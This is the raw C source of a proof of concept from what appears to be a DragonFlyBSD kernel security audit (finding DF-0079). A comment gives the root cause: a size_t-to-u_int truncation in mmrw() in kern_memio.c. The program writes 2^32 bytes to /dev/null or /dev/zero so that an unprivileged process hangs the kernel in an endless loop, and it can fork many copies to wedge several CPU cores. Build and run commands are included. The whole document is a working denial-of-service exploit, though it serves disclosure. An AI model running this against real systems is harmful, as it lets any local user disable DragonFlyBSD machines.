DragonFlyBSD Kernel Audit
DF-0079 / df0079.c
← back to finding ↓ download raw
/*
 * DF-0079 PoC - unprivileged local DoS via /dev/null (and /dev/zero)
 *              infinite kernel loop in mmrw().
 *
 * Root cause (sys/kern/kern_memio.c):
 *   :225   u_int c;                       // 32-bit
 *   :232   while (uio->uio_resid > 0 && error == 0) {
 *   :298   c = iov->iov_len;              // /dev/null write: size_t->u_int TRUNC
 *   :364   c = iov->iov_len;              // /dev/zero write: same truncation
 *   :379   iov->iov_base += c;            // all four subtract c (=0)
 *   :380   iov->iov_len  -= c;            // unchanged
 *   :381   uio->uio_offset+= c;
 *   :382   uio->uio_resid -= c;           // unchanged -> loop spins forever
 *
 * iov_len = 2^32 = 0x100000000 has low 32 bits == 0, so (u_int)c = 0.
 * The 64-bit check at :234 (if (iov->iov_len == 0)) does NOT trip because
 * the full 64-bit iov_len is 2^32, not 0.
 *
 * sys_write (sys_generic.c:336) only rejects (ssize_t)nbyte < 0; 2^32 is
 * positive so it passes. /dev/null write never calls uiomove, so the user
 * buffer pointer (here (void*)0x1) is never validated/dereferenced.
 *
 * Build:  cc -o df0079 df0079.c
 * Run:    ./df0079            # pegs one CPU forever in kernel (mmrw)
 *         ./df0079 8          # fork 8 copies to wedge 8 cores
 *
 * /dev/null and /dev/zero are mode 0666 (kern_memio.c:842/:847) so NO
 * privilege is required. Each call wedges one kernel thread indefinitely.
 */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void
trigger(const char *path)
{
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        perror(path);
        _exit(1);
    }
    /* iov_len = 2^32 -> low 32 bits zero -> u_int c truncates to 0 ->
     * mmrw bookkeeping subtracts 0 -> while(uio_resid>0) spins forever.
     * Buffer (void*)0x1 is never dereferenced: /dev/null write path
     * (case 2) does NOT call uiomove. */
    ssize_t r = write(fd, (void *)0x1UL, 0x100000000ULL);
    fprintf(stderr, "write returned %zd (unexpected!)\n", r);
    _exit(r < 0 ? 1 : 0);
}

int
main(int argc, char **argv)
{
    const char *path = (argc > 2) ? argv[2] : "/dev/null";
    int n = (argc > 1) ? atoi(argv[1]) : 1;
    int i;

    fprintf(stderr, "DF-0079: triggering %s infinite-loop DoS, %d procs\n",
            path, n);
    fprintf(stderr, "DF-0079: pid=%d calling write(fd, 0x1, 2^32)\n",
            (int)getpid());

    if (n <= 1) {
        trigger(path);               /* never returns on vulnerable kernel */
        return 0;
    }
    for (i = 0; i < n; i++) {
        if (fork() == 0)
            trigger(path);           /* child: never returns */
    }
    fprintf(stderr, "DF-0079: spawned %d wedged children on %s\n", n, path);
    return 0;
}